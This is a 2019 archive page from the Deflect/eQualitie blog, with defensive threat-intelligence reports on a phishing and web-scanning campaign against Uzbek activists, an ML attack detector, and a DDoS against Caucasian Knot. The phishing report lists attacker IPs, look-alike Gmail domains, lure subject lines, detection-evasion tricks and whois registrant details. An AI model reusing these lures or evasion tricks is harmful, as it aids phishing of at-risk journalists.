Archives for 2019

You are browsing the site archives by date.

Deflect – Taking Care of Business

Today we are pleased to announce that Deflect is opening its virtual doors to businesses small and large, bringing the same robust web protection infrastructure that the most targeted civil movements around the world have come to rely on.

For eight eventful years, Deflect has specialized in defending high-profile human rights and independent news groups, delivering their websites to over a million daily readers and confounding the aims of state-sponsored hacking teams trying to silence them. Now we think it’s time to share our experience and time-tested tooling with enterprises and organizations looking to invest in rock solid DDoS mitigation and at the same time support an ethical company working towards sustainable revenue.

We believe that a principled approach to providing Internet security services is essential to restoring equality in the digital commons. To this end, we won’t accept any website that spreads misinformation, propagates hate-speech, incites violence or initiates cyberattacks against others. For the full list of stipulations, see here.

We also believe your data belongs to you, so we don’t sell it or share it with anyone except you. We are proud to call ourselves a reputable and responsible Internet services provider.

2017 & 2018 Deflect statistics

Technically speaking, Deflect offers a tailored web security service including web caching and hosting, attack mitigation and investigation, in-house data analytics, encryption in-transit and at-rest, as well as our experienced and multilingual support desk.

We’ve created a fair and transparent pricing model based on the size of your website’s unique monthly visitors, so there’s no free trial which automatically renews at a premium, no subscription plan that changes  according to network circumstances, no penalty for actually defending your site against a cyberattack and no hidden charges for technical support.

We are a small, dedicated team, widely distributed around the globe and punching well above our weight. We’ve proven ourselves many times against some of the biggest, baddest botnets and this year alone delivered websites to over eighty million unique IPs (bots not included!) which represents ~2% of people connected to the net.

This is our first move into the commercial sector, driven by a desire to achieve self-sustainability for our non-profit activities, so when you sign up with Deflect, you multiply the effect of your dollar by enabling us to defend more vulnerable groups in this era of widespread assaults on honest reportage, rights advocacy and civil liberties across the world.

Sign up here 

Contact us

Deflect logo for portfolio

Read More

Deflect Labs Report #6: Phishing and Web Attacks Targeting Uzbek Human Right Activists and Independent Media

Key Findings

  • We’ve discovered infrastructure used to launch and coordinate attacks targeting independent media and human rights activists from Uzbekistan
  • The campaign has been active since early 2016, using web and phishing attacks to suppress and exploit their targets
  • We have no evidence of who is behind this campaign but the target list points to a new threat actor targeting Uzbek activists and media

Introduction

The Deflect project was created to protect civil society websites from web attacks, following the publication of “Distributed Denial of Service Attacks Against Independent Media and Human Rights Sites report by the Berkman Center for Internet & Society. During that time we’ve investigated many DDoS attacks leading to the publication of several reports.

The attacks leading to the publication of this report quickly stood out from the daily onslaught of malicious traffic on Deflect, at first because they were using professional vulnerability scanning tools like Acunetix. The moment we discovered that the origin server of these scans was also hosting fake gmail domains, it became evident that something bigger was going on here.

In this report, we describe all the pieces put together about this campaign, with the hope to contribute to public knowledge about the methods and impact of such attacks against civil society.

Context : Human Rights and Surveillance in Uzbekistan

Emblem of Uzbekistan (wikipedia)

Uzbekistan is defined by many human-rights organizations as an authoritarian state, that has known strong repression of civil society. Since the collapse of the Soviet Union, two presidents have presided over a system that institutionalized  torture and repressed freedom of expression, as documented over the years by Human Rights Watch, Amnesty International and Front Line Defenders, among many others. Repression extended to media and human rights activists in particular, many of whom had to leave the country and continue their work in diaspora.

Uzbekistan was one of the first to establish a pervasive Internet censorship infrastructure, blocking access to media and human rights websites. Hacking Team servers in Uzbekistan were identified as early as 2014 by the Citizen Lab. It was later confirmed that Uzbek National Security Service (SNB) were among the customers of Hacking Team solutions from leaked Hacking Team emails. A Privacy International report from 2015 describes the installation in Uzbekistan of several monitoring centers with mass surveillance capabilities provided by the Israeli branch of the US-based company Verint Systems and by the Israel-based company NICE Systems. A 2007 Amnesty International report entitled ‘We will find you anywhere’ gives more context on the utilisation of these capabilities, describing digital surveillance and targeted attacks against Uzbek journalists and human-right activists. Among other cases, it describes the unfortunate events behind the closure of uznews.net – an independent media website established by Galima Bukharbaeva in 2005 following the Andijan massacre. In 2014, she discovered that her email account had been hacked and information about the organization, including names and personal details journalists in Uzbekistan was published online. Galima is now the editor of Centre1, a Deflect client and one of the targets of this investigation.

A New Phishing and Web Attack Campaign

On the 16th of November 2018, we identified a large attack against several websites protected by Deflect. This attack used several professional security audit tools like NetSparker and WPScan to scan the websites eltuz.com and centre1.com.


Peak of traffic during the attack (16th of November 2018)

This attack was coming from the IP address 51.15.94.245 (AS12876 – Online AS but an IP range dedicated to Scaleway servers). By looking at older traffic from this same IP address, we found several cases of attacks on other Deflect protected websites, but we also found domains mimicking google and gmail domains hosted on this IP address, like auth.login.google.email-service[.]host or auth.login.googlemail.com.mail-auth[.]top. We looked into passive DNS databases (using the PassiveTotal Community Edition and other tools like RobTex) and crossed that information with attacks seen on Deflect protected websites with logging enabled. We uncovered a large campaign combining web and phishing attacks against media and activists. We found the first evidence of activity from this group in February 2016, and the first evidence of attacks in December 2017.

The list of Deflect protected websites chosen by this campaign, may give some context to the motivation behind them. Four websites were targeted:

  • Fergana News is a leading independent Russian & Uzbek language news website covering Central Asian countries
  • Eltuz is an independent Uzbek online media
  • Centre1 is an independent media organization covering news in Central Asia
  • Palestine Chronicle is a non-profit organization working on human-rights issues in Palestine

Three of these targets are prominent media focusing on Uzbekistan. We have been in contact with their editors and several other Uzbek activists to see if they had received phishing emails as part of this campaign. Some of them were able to confirm receiving such messages and forwarded them to us. Reaching out further afield we were able to get confirmations of phishing attacks from other prominent Uzbek activists who were not linked websites protected by Deflect.

Palestine Chronicle seems to be an outlier in this group of media websites focusing on Uzbekistan. We don’t have a clear hypothesis about why this website was targeted.

A year of web attacks against civil society

Through passive DNS, we identified three IPs used by the attackers in this operation :

  • 46.45.137.74 was used in 2016 and 2017 (timeline is not clear, Istanbul DC, AS197328)
  • 139.60.163.29 was used between October 2017 and August 2018 (HostKey, AS395839)
  • 51.15.94.245 was used between September 2018 and February 2019 (Scaleway, AS12876)

We have identified 15 attacks from the IPs 139.60.163.29 and 51.15.94.245 since December 2017 on Deflect protected websites:

Date IP Target Tools used
2017/12/17 139.60.163.29 eltuz.com WPScan
2018/04/12 139.60.163.29 eltuz.com Acunetix
2018/09/15 51.15.94.245 www.palestinechronicle.com eltuz.com www.fergana.info and uzbek.fergananews.com Acunetix and WebCruiser
2018/09/16 51.15.94.245 www.fergana.info Acunetix
2018/09/17 51.15.94.245 www.fergana.info Acunetix
2018/09/18 51.15.94.245 www.fergana.info NetSparker and Acunetix
2018/09/19 51.15.94.245 eltuz.com NetSparker
2018/09/20 51.15.94.245 www.fergana.info Acunetix
2018/09/21 51.15.94.245 www.fergana.info Acunetix
2018/10/08 51.15.94.245 eltuz.com, www.fergananews.com and news.fergananews.com Unknown
2018/11/16 51.15.94.245 eltuz.com, centre1.com and en.eltuz.com NetSparker and WPScan
2019/01/18 51.15.94.245 eltuz.com WPScan
2019/01/19 51.15.94.245 fergana.info www.fergana.info and fergana.agency Unknown
2019/01/30 51.15.94.245 eltuz.com and en.eltuz.com Unknown
2019/02/05 51.15.94.245 fergana.info Acunetix

Besides classic open-source tools like WPScan, these attacks show the utilization of a wide range of commercial security audit tools, like NetSparker or Acunetix. Acunetix offers a trial version that may have been used here, NetSparker does not, showing that the operators may have a consistent budget (standard offer is $4995 / year, a cracked version may have been used).

It is also surprising to see so many different tools coming from a single server, as many of them require a Graphical User Interface. When we scanned the IP 51.15.94.245, we discovered that it hosted a Squid proxy on port 3128, we think that this proxy was used to relay traffic from the origin operator computer.

Extract of nmap scan of 51.15.94.245 in December 2018 :

3128/tcp  open     http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved

A large phishing campaign

After discovering a long list of domains made to resemble popular email providers, we suspected that the operators were also involved in a phishing campaign. We contacted owners of targeted websites, along with several Uzbek human right activists and gathered 14 different phishing emails targeting two activists between March 2018 and February 2019 :

Date Sender Subject Link
12th of March 2018 g.corp.sender[@]gmail.com У Вас 2 недоставленное сообщение (You have 2 undelivered message) http://mail.gmal.con.my-id[.]top/
13th of June 2018 service.deamon2018[@]gmail.com Прекращение предоставления доступа к сервису (Termination of access to the service) http://e.mail.gmall.con.my-id[.]top/
18th of June 2018 id.warning.users[@]gmail.com Ваш новый адрес в Gmail: alexis.usa@gmail.com (Your new email address in Gmail: alexis.usa@gmail.com) http://e.mail.users.emall.com[.]my-id.top/
10th of July 2018 id.warning.daemons[@]gmail.com Прекращение предоставления доступа к сервису (Termination of access to the service) hxxp://gmallls.con-537d7.my-id[.]top/
10th of July 2018 id.warning.daemons[@]gmail.com Прекращение предоставления доступа к сервису (Termination of access to the service) http://gmallls.con-4f137.my-id[.]top/
18th of July 2018 service.deamon2018[@]gmail.com [Ticket#2011031810000512] – 3 undelivered messages http://login-auth-goglemail-com-7c94e3a1597325b849e26a0b45f0f068.my-id[.]top/
2nd of August 2018 id.warning.daemon.service[@]gmail.com [Important Reminder] Review your data retention settings None
16th of October 2018 lolapup.75[@]gmail.com Экс-хоким Ташкента (Ex-hokim of Tashkent) http://office-online-sessions-3959c138e8b8078e683849795e156f98.email-service[.]host/
23rd of October 2018 noreply.user.info.id[@]gmail.com Ваш аккаунт будет заблокировано (Your account will be blocked.) http://gmail-accounts-cb66d53c8c9c1b7c622d915322804cdf.email-service[.]host/
25th of October 2018 warning.service.suspended[@]gmail.com Ваш аккаунт будет заблокировано. (Your account will be blocked.) http://gmail-accounts-bb6f2dfcec87551e99f9cf331c990617.email-service[.]host/
18th of February 2019 service.users.blocked[@]gmail.com Важное оповещение системы безопасности (Important Security Alert) http://id-accounts-blocked-ac5a75e4c0a77cc16fe90cddc01c2499.myconnection[.]website/
18th of February 2019 mail.suspend.service[@]gmail.com Оповещения системы безопасности (Security Alerts) http://id-accounts-blocked-326e88561ded6371be008af61bf9594d.myconnection[.]website/
21st of February 2019 service.users.blocked[@]gmail.com Ваш аккаунт будет заблокирован. (Your account will be blocked.) http://id-accounts-blocked-ffb67f7dd7427b9e4fc4e5571247e812.myconnection[.]website/
22nd of February 2019 service.users.blocked[@]gmail.com Прекращение предоставления доступа к сервису (Termination of access to the service) http://id-accounts-blocked-c23102b28e1ae0f24c9614024628e650.myconnection[.]website/

Almost all these emails were mimicking Gmail alerts to entice the user to click on the link. For instance this email received on the 23rd of October 2018 pretends that the account will be closed soon, using images of the text hosted on imgur to bypass Gmail detection :

The only exception was an email received on the 16th of October 2018 pretending to give confidential information on the former Hokim (governor) of Tashkent :

Emails were using simple tricks to bypass detection, at times drw.sh url shortener (this tool belongs to a Russian security company Doctor Web) or by using open re-directions offered in several Google tools.

Every email we have seen used a different sub-domain, including emails from the same Gmail account and with the same subject line. For instance, two different emails entitled “Прекращение предоставления доступа к сервису” and sent from the same address used hxxp://gmallls.con-537d7.my-id[.]top/ and http://gmallls.con-4f137.my-id[.]top/ as phishing domains. We think that the operators used a different sub-domain for every email sent in order to bypass Gmail list of known malicious domains. This would explain the large number of sub-domains identified through passive DNS. We have identified 74 sub-domains for 26 second-level domains used in this campaign (see the appendix below for  full list of discovered domains).

We think that the phishing page stayed online only for a short time after having sent the email in order to avoid detection. We got access to the phishing page of a few emails. We could confirm that the phishing toolkit checked if the password is correct or not (against the actual gmail account) and suspect that they implemented 2 Factor authentication for text messages and 2FA applications, but could not confirm this.

Timeline for the campaign

We found the first evidence of activity in this operation with the registration of domain auth-login[.]com on the 21st of February 2016. Because we discovered the campaign recently, we have little information on attacks during  2016 and 2017, but the domain registration date shows some activity in July and December 2016, and then again in August and October 2017. It is very likely that the campaign started in 2016 and continued in 2017 without any public reporting about it.

Here is a first timeline we obtained based on domain registration dates and dates of web attacks and phishing emails :

To confirm that this group had some activity during  2016 and 2017, we gathered encryption (TLS) certificates for these domains and sub-domains from the crt.sh Certificate Transparency Database. We identified 230 certificates generated for these domains, most of them created by Cloudfare. Here is a new timeline integrating the creation of TLS certificates :

We see here many certificates created since December 2016 and continuing over 2017, which shows that this group had some activity during that time. The large number of certificates over 2017 and 2018 comes from campaign operators using Cloudflare for several domains. Cloudflare creates several short-lived certificates at the same time when protecting a website.

It is also interesting to note that the campaign started in February 2016, with some activity in the summer of 2016, which happens to when the former Uzbek president Islam Karimov died, news first reported by Fergana News, one of the targets of this attack campaign.

Infrastructure Analysis

We identified domains and subdomains of this campaign through analysis of passive DNS information, using mostly the Community access of PassiveTotal. Many domains in 2016/2017 reused the same registrant email address, b.adan1@walla.co.il, which helped us identify other domains related to this campaign :

Based on this list, we identified subdomains and IP addresses associated with them, and discovered three IP addresses used in the operation. We used Shodan historical data and dates of passive DNS data to estimate the timeline of the utilisation of the different servers :

  • 46.45.137.74 was used in 2016 and 2017
  • 139.60.163.29 was used between October 2017 and August 2018
  • 51.15.94.245 was used between September and February 2019

We have identified 74 sub-domains for 26 second-level domains used in this campaign (see the appendix for a full list of IOCs). Most of these domains are mimicking Gmail, but there are also domains mimicking Yandex (auth.yandex.ru.my-id[.]top), mail.ru (mail.ru.my-id[.]top) qip.ru (account.qip.ru.mail-help-support[.]info), yahoo (auth.yahoo.com.mail-help-support[.]info), Live (login.live.com.mail-help-support[.]info) or rambler.ru (mail.rambler.ru.mail-help-support[.]info). Most of these domains are sub-domains of a few generic second-level domains (like auth-mail.com), but there are a few specific second-level domains that are interesting :

  • bit-ly[.]host mimicking bit.ly
  • m-youtube[.]top and m-youtube[.]org for Youtube
  • ecoit[.]email which could mimick https://www.ecoi.net
  • pochta[.]top likely mimick https://www.pochta.ru/, the Russian Post website
  • We have not found any information on vzlom[.]top and fixerman[.]top. Vzlom means “break into” in Russian, so it could have hosted or mimicked a security website

A weird Cyber-criminality Nexus

It is quite unusual to see connections between targeted attacks and cyber-criminal enterprises, however during this investigation we encountered two such links.

The first one is with the domain msoffice365[.]win which was registered by b.adan1@walla.co.il (as well as many other domains from this campaign) on the 7th of December 2016. This domain was identified as a C2 server for a cryptocurrency theft tool called Quant, as described in this Forcepoint report released in December 2017. Virus Total confirms that this domain hosted several samples of this malware in November 2017 (it was registered for a year). We have not seen any malicious activity from this domain related to our campaign, but as explained earlier, we have marginal access to the group’s activity in 2017.

The second link we have found is between the domain auth-login[.]com and the groups behind the Bedep trojan and the Angler exploit kit. auth-login[.]com was linked to this operation through the subdomain login.yandex.ru.auth-login[.]com that fit the pattern of long subdomains mimicking Yandex from this campaign and it was hosted on the same IP address 46.45.137.74 in March and April 2016 according to RiskIQ. This domain was registered in February 2016 by yingw90@yahoo.com (David Bowers from Grovetown, GA in the US according to whois information). This email address was also used to register hundreds of domains used in a Bedep campaign as described by Talos in February 2016 (and confirmed by several other reports). Angler exploit kit is one of the most notorious exploit kit, that was commonly used by cyber-criminals between 2013 and 2016. Bedep is a generic backdoor that was identified in 2015, and used almost exclusively with the Angler exploit kit. It should be noted that Trustwave documented the utilization of Bedep in 2015 to increase the number of views of pro-Russian propaganda videos.

Even if we have not seen any utilisation of these two domains in this campaign, these two links seem too strong to be considered cirmcumstantial. These links could show a collaboration between cyber-criminal groups and state-sponsored groups or services. It is interesting to remember the potential involvement of Russian hacking groups in attacks on Uznews.net editor in 2014, as described by Amnesty international.

Taking Down Servers is Hard

When the attack was discovered, we decided to investigate without sending any abuse requests, until a clearer picture of the campaign emerged. In January, we decided that we had enough knowledge of the campaign and started to send abuse requests – for fake Gmail addresses to Google and for the URL shorteners to Doctor Web. We did not receive any answer but noticed that the Doctor Web URLs were taken down a few days after.

Regarding the Scaleway server, we entered into an unexpected loop with their abuse process.  Scaleway operates by sending the abuse request directly to the customer and then asks them for confirmation that the issue has been resolved. This process works fine in the case of a compromised server, but does not work when the server was rented intentionally for malicious activities. We did not want to send an abuse request because it would have involved giving away information to the operators. We contacted Scaleway directly and it took some time to find the right person on the security team. They acknowledged the difficulty of having an efficient Abuse Process, and after we sent them an anonymized version of this report along with proof that phishing websites were hosted on the server, they took down the server around the 25th of January 2019.

Being an infrastructure provider, we understand the difficulty of dealing with abuse requests. For a lot of hosting providers, the number of requests is what makes a case urgent or not. We encourage hosting providers to better engage with organisations working to protect Civil Society and establish trust relationships that help quickly mitigate the effects of malicious campaigns.

Conclusion

In this report, we have documented a prolonged phishing and web attack campaign focusing on media covering Uzbekistan and Uzbek human right activists. It shows that once again, digital attacks are a threat for human-right activists and independent media. There are several threat actors known to use both phishing and web attacks combined (like the Vietnam-related group Ocean Lotus), but this campaign shows a dual strategy targeting civil society websites and their editors at the same time.

We have no evidence of government involvement in this operation, but these attacks are clearly targeted on prominent voices of Uzbek civil society. They also share strong similarities with the hack of Uznews.net in 2014, where the editor’s mailbox was compromised through a phishing email that appeared as a notice from Google warning her that the account had been involved in distributing illegal pornography.

Over the past 10 years, several organisations like the Citizen Lab or Amnesty International have dedicated lots of time and effort to document digital surveillance and targeted attacks against Civil Society. We hope that this report will contribute to these efforts, and show that today, more than ever, we need to continue supporting civil society against digital surveillance and intrusion.

Counter-Measures Against such Attacks

If you think you are targeted by similar campaigns, here is a list of recommendations to protect yourself.

Against phishing attacks, it is important to learn to recognize classic phishing emails. We give some examples in this report, but you can read other similar reports by the Citizen Lab. You can also read this nice explanation by NetAlert and practice with this Google Jigsaw quizz. The second important point is to make sure that you have configured 2-Factor Authentication on your email and social media accounts. Two-Factor Authentication means using a second way to authenticate when you log-in besides your password. Common second factors include text messages, temporary password apps or hardware tokens. We recommend using either temporary password apps (like Google AuthenticatorFreeOTP) or Hardware Keys (like YubiKeys). Hardware keys are known to be more secure and strongly recommended if you are an at-risk activist or journalist.

Against web attacks, if you are using a CMS like WordPress or Drupal, it is very important to update both the CMS and its plugins very regularly, and avoid using un-maintained plugins (it is very common to have websites compromised because of outdated plugins). Civil society websites are welcome to apply to Deflect for free website protection.

Appendix

Acknowledgement

We would like to thank Front Line Defenders and Scaleway for their help. We would also like to thank ipinfo.io and RiskIQ for their tools that helped us in the investigation.

Indicators of Compromise

Top level domains :

email-service.host
email-session.host
support-email.site
support-email.host
email-support.host
myconnection.website
ecoit.email
my-cabinet.com
my-id.top
msoffice365-online.org
secretonline.top
m-youtube.top
auth-mail.com
mail-help-support.info
mail-support.info
auth-mail.me
auth-login.com
email-x.com
auth-mail.ru
mail-auth.top
msoffice365.win
bit-ly.host
m-youtube.org
vzlom.top
pochta.top
fixerman.top

You can find a full list of indicators on github : https://github.com/equalitie/deflect_labs_6_indicators

Read More

eQualitie statement on the detention of Ola Bini

EMBASSY OF ECUADOR
99 Bank, Suite 230
Ottawa, Ontario
K1P 6B9

To the Ambassador of Ecuador in Canada – Mr. Diego Stacey Moreno and to the Minister of Political and Economic Affairs, Mrs. Elizabeth Moreano,

On April 11, data privacy and open source advocate Ola Bini was arrested at the Quito International Airport, where he was accused of “conspiring against the state”. As of yet, no formal charges have been made, and Ola continues to be in pretrial detention. eQualitie wants to remind Ecuadorian authorities of their obligations before ratified treaties and international covenants ensuring that detained persons are treated humanely, and are not subjected to cruel, inhuman, or degrading treatment or punishment; as well as Article 89 of the Ecuadorian constitution ensuring habeas corpus proceedings. If there is a case to be brought against Ola, the authorities should present it and allow the judicial process to run its course. If not, Ola should be considered innocent until proven guilty, and released from detention.

Respectfully,

The eQualitie team

 

eQualitie is a Canadian  organization developing open and reusable systems with a focus on privacy, resilience and self-determination. Our goal is to create accessible technology to promote and defend human rights on the Internet. Our approach and motivation is described in the  eQualitie Manifesto.

Read More

Deflect Labs Report #5 – Baskerville

Using Machine Learning to Identify Cyber Attacks

The Deflect platform is a free website security service defending civil society and human rights groups from digital attack. Currently, malicious traffic is identified on the Deflect network by Banjax, a system that uses handwritten rules to flag IPs that are behaving like attacking bots, so that they can be challenged or banned. While Banjax is successful at identifying the most common bruteforce cyber attacks, the approach of using a static set of rules to protect against the constantly evolving tools available to attackers is fundamentally limited. Over the past year, the Deflect Labs team has been working to develop a machine learning module to automatically identify malicious traffic on the Deflect platform, so that our mitigation efforts can keep pace with the methods of attack as these grow in complexity and sophistication.

In this report, we look at the performance of the Deflect Labs’ new anomaly detection tool, Baskerville, in identifying a selection of the attacks seen on the Deflect platform during the last year. Baskerville is designed to consume incoming batches of web logs (either live from a Kafka stream, or from Elasticsearch storage), group them into request sets by host website and IP, extract the browsing features of each request set, and make a prediction about whether the behaviour is normal or not. At its core, Baskerville currently uses the Scikit-Learn implementation of the Isolation Forest anomaly detection algorithm to conduct this classification, though the engine is agnostic to the choice of algorithm and any trained Scikit-Learn classifier can be used in its place. This model is trained on normal web traffic data from the Deflect platform, and evaluated using a suite of offline tools incorporated in the Baskerville module. Baskerville has been designed in such a way that once the performance of the model is sufficiently strong, it can be used for real-time attack alerting and mitigation on the Deflect platform.

To showcase the current capabilities of the Baskerville module, we have replayed the attacks covered in the 2018 Deflect Labs report: Attacks Against Vietnamese Civil Society, passing the web logs from these incidents through the processing and prediction engine. This report was chosen for replay because of the variety of attacks seen across its constituent incidents. There were eight attacks in total considered in this report, detailed in the table below.

Date Start (approx.) Stop (approx.) Target
2018/04/17 08:00 10:00 viettan.org
2018/04/17 08:00 10:00 baotiengdan.com
2018/05/04 00:00 23:59 viettan.org
2018/05/09 10:00 12:30 viettan.org
2018/05/09 08:00 12:00 baotiengdan.com
2018/06/07 01:00 05:00 baotiengdan.com
2018/06/13 03:00 08:00 baotiengdan.com
2018/06/15 13:00 23:30

baotiengdan.com

Table 1: Attack time periods covered in this report. The time period of each attack was determined by referencing the number of Deflect and Banjax logs recorded for each site, relative to the normal traffic volume.

How does it work?

Given one request from one IP, not much can be said about whether or not that user is acting suspiciously, and thus how likely it is that they are a malicious bot, as opposed to a genuine user. If we instead group together all the requests to a website made by one IP over time, we can begin to build up a more complete picture of the user’s browsing behaviour. We can then train an anomaly detection algorithm to identify any IPs that are behaving outside the scope of normal traffic.

The boxplots below illustrate how the behaviour during the Vietnamese attack time periods differs from that seen during an average fortnight of requests to the same sites. To describe the browsing behaviour, 17 features (detailed in the Baskerville documentation) have been extracted based on the request sets (note that the feature values are scaled relative to average distributions, and do not have a physical interpretation). In particular, it can be seen that these attack time periods stand out by having far fewer unique paths requested (unique_path_to_request_ratio), a shorter average path depth (path_depth_average), a smaller variance in the depth of paths requested (path_depth_variance), and a lower payload size (payload_size_log_average). By the ‘path depth’, we mean the number of slashes in the requested URL (so ‘website.com’ has a path depth of zero, and ‘website.com/page1/page2’ has a path depth of two), and by ‘payload size’ we mean the size of the request response in bytes.

Figure 1: The distributions of the 17 scaled feature values during attack time periods (red) and non-attack time periods (blue). It can be seen that the feature distributions are notably different during the attack and non-attack periods.

The separation between the attack and non-attack request sets can be nicely visualised by projecting along the feature dimensions identified above. In the three-dimensional space defined by the average path depth, the average log of the payload size, and the unique path to request ratio, the request sets identified as malicious by Banjax (red) are clearly separated from those not identified as malicious (blue).

Figure 2: The distribution of request sets along three of the 17 feature dimensions for IPs identified as malicious (red) or benign (blue) by the existing banning module, Banjax. The features shown are the average path depth, the average log of the request payload size, and the ratio of unique paths to total requests, during each request set. The separation between the malicious (red) and benign (blue) IPs is evident along these dimensions.

Training a Model

A machine learning classifier enables us to more precisely define the differences between normal and abnormal behaviour, and predict the probability that a new request set comes from a genuine user. For this report, we chose to train an Isolation Forest; an algorithm that performs well on novelty detection problems, and scales for large datasets.

As an anomaly detection algorithm, the Isolation Forest took as training data all the traffic to the Vietnamese websites over a normal two-week period. To evaluate its performance, we created a testing dataset by partitioning out a selection of this data (assumed to represent benign traffic), and combining this with the set of all requests coming from IPs flagged by the Deflect platform’s current banning tool, Banjax (assumed to represent malicious traffic). There are a number of tunable parameters in the Isolation Forest algorithm, such as the number of trees in the forest, and the assumed contamination with anomalies of the training data. Using the testing data, we performed a gridsearch over these parameters to optimize the model’s accuracy.

Replaying the Attacks

The model chosen for use in this report has a precision of 0.90, a recall of 0.86, and a resultant f1 score of 0.88, when evaluated on the testing dataset formulated from the Vietnamese website traffic, described above. If we take the Banjax bans as absolute truth (which is almost certainly not the case), this means that 90% of the IPs predicted as anomalous by Baskerville were also flagged by Banjax as malicious, and that 88% of all the IPs flagged by Banjax as malicious were also identified as anomalous by Baskerville, across the attacks considered in the Vietnamese report. This is demonstrated visually in the graph below, which shows the overlap between the Banjax flag and the Baskerville prediction (-1 indicates malicious, and +1 indicates benign). It can be seen that Baskerville identifies almost all of the IPs picked up by Banjax, and additionally flags a fraction of the IPs not banned by Banjax.

Figure 3: The overlap between the Banjax results (x-axis) and the Baskerville prediction results (colouring). Where the Banjax flag is -1 and the prediction colour is red, both Banjax and Baskerville agree that the request set is malicious. Where the Banjax flag is +1 and the prediction colour is blue, both modules agree that the request set is benign. The small slice of blue where the Banjax flag is -1, and the larger red slice where the Banjax flag is +1, indicate request sets about which the modules do not agree.

The performance of the model can be broken down across the different attack time periods. The grouped bar chart below compares the number of Banjax bans (red) to the number of Baskerville anomalies (green). In general, Baskerville identifies a much greater number of request sets as being malicious than Banjax does, with the exception of the 17th April attack, for which Banjax picked up slightly more IPs than Baskerville. The difference between the two mitigation systems is particularly pronounced on the 13th and 15th June attacks, for which Banjax scarcely identified any malicious IPs at all, but Baskerville identified a high proportion of malicious IPs.

Figure 4: The verdicts of Banjax (left columns) and Baskerville (right columns) across the 6 attack periods. The red/green components show the number of request sets that Banjax/Baskerville labelled as malicious, while the blue/purple components show the number that they labelled as benign. The fact that the green bars are almost everywhere higher than the red bars indicates that Baskerville picks up more traffic as malicious than does Banjax.

This analysis highlights the issue of model validation. It can be seen that Baskerville is picking up more request sets as being malicious than Banjax, but does this indicate that Baskerville is too sensitive to anomalous behaviour, or that Baskerville is outperforming Banjax? In order to say for sure, and properly evaluate Baskerville’s performance, a large testing set of labelled data is needed.

If we look at the mean feature values across the different attacks, it can be seen that the 13th and 15th June attacks (the red and blue dots, respectively, in the figure below) stand out from the normal traffic in that they have a much lower than normal average path depth (path_depth_average), and a much higher than normal 400-code response rate (response4xx_to_request_ratio), which may have contributed to Baskerville identifying a large proportion of their constituent request sets as malicious. Since a low average path depth (e.g. lots of requests made to ‘/’) and a high 400 response code rate (e.g. lots of requests to non-existent pages) are indicative of an IP behaving maliciously, this may suggest that Baskerville’s predictions were valid in these cases. But more labelled data is required for us to be certain about this evaluation.

Figure 5: Breakdown of the mean feature values during the two attack periods (red, blue) for which Baskerville identified a high proportion of malicious IPs, but Banjax did not. These are compared to the mean feature values during a normal two-week period (green).

Putting Baskerville into Action

Replaying the Vietnamese attacks demonstrates that it is possible for the Baskerville engine to identify cyber attacks on the Deflect platform in real time. While Banjax mitigates attacks using a set of static human-written rules describing what abnormal traffic looks like, by comprehensively describing how normal traffic behaves, the Baskerville classifier is able to identify new types of malicious behaviour that have never been seen before.

Although the performance of the Isolation Forest in identifying the Vietnamese attacks is promising, we would require a higher level of accuracy before the Baskerville engine is used to automatically ban IPs from accessing Deflect websites. The model’s accuracy can be improved by increasing the amount of data it is trained on, and by performing additional feature engineering and parameter tuning. However, to accurately assess its skill, we require a large set of labelled testing data, more complete than what is offered by Banjax logs. To this end, we propose to first deploy Baskerville in a developmental stage, during which IPs that are suspected to be malicious will be served a Captcha challenge rather than being absolutely banned. The results of these challenges can be added to the corpus of labelled data, providing feedback on Baskerville’s performance.

In addition to the applications of Baskerville for attack mitigation on the Deflect platform, by grouping incoming logs by host and IP into request sets, and extracting features from these request sets, we have created a new way to visualise and analyse attacks after they occur. We can compare attacks not just by the IPs involved, but also by the type of behaviour displayed. This opens up new possibilities for connecting disparate attacks, and investigating the agents behind them.

Where Next?

The proposed future of Deflect monitoring is the Deflect Labs Information Sharing and Analysis Centre (DL-ISAC). The underlying idea behind this project, summarised in the schematic below, is to split the Baskerville engine into separate User Module and Clearinghouse components (dealing with log processing and model development, respectively), to enable a complete separation of personal data from the centralised modelling. Users would process their own web logs locally, and send off feature vectors (devoid of IP and host site details) to receive a prediction. This allows threat-sharing without compromising personally identifiable information (PII). In addition, this separation would enable the adoption of the DL-ISAC by a much broader range of clients than the Deflect-hosted websites currently being served. Increasing the user base of this software will also increase the amount of browsing data we are able to collect, and thus the strength of the models we are able to train.

Baskerville is an open-source project, with its first release scheduled next quarter. We hope this will represent the first step towards enabling a new era of crowd-sourced threat information sharing and mitigation, empowering internet users to keep their content online in an increasingly hostile web environment.

Figure 6: A schematic of the proposed structure of the DL-ISAC. The infrastructure is split into a log-processing user endpoint, and a central clearinghouse for prediction, analysis, and model development.

A Final Word: Bias in AI

In all applications of machine learning and AI, it is important to consider sources of algorithmic bias, and how marginalised users could be unintentionally discriminated against by the system. In the context of web traffic, we must take into account variations in browsing behaviour across different subgroups of valid, non-bot internet users, and ensure that Baskerville does not penalise underrepresented populations. For instance, checks should be put in place to prevent disadvantaged users with slower internet connections from being banned because their request behaviour differs from those users that benefit from high-speed internet. The Deflect Labs team is committed to prioritising these considerations in the future development of the DL-ISAC.

Read More

News from Deflect Labs: DDoS attacks against Caucasian Knot

Key Findings

  • In November and December 2018, we identified 3 DDoS attacks against independent media website (Caucasian Knot)
  • The first attack was by far the largest DDoS attack seen by the Deflect project in 2018, clocking over 7.7 million queries in 4 hours
  • The three attacks used different types of relays, including open proxies, botnets and WordPress pingbacks. We could not find any technical intersection between the incidents to point to their orchestration or provenance.

Context

Caucasian Knot is an online media covering the Caucasus, comprised of 20 regions from the North and South Caucasus. The publication has eleven thematic areas with a focus on human right issues. Several reporters paid the ultimate price for their journalism, including Akhmednabi Akhmednabiev, killed in Dagestan in 2013. Another young Chechen journalist  Zhalaudi Geriev, was kidnapped and tortured in 2016, and is now in Chernokozovo prison. On several occasions, Chechen government officials have publicly called for violence against Caucasian Knot reports and editors.

Caucasian Knot has received several journalism awards, including the The Free Press of Eastern Europe award in 2007 and the Sakharov prize in 2017.

First attack : millions of requests from open proxies on October 19th

The Caucasian Knot website joined Deflect on the 19th of October, under the barrel of a massive DDoS attack that had knocked their servers offline.  Deflect logged over 7, 700, 000 queries to / on www.kavkaz-uzel.eu between 11h am and 3pm. This was by far the largest DDoS attack we have seen on Deflect in 2018.

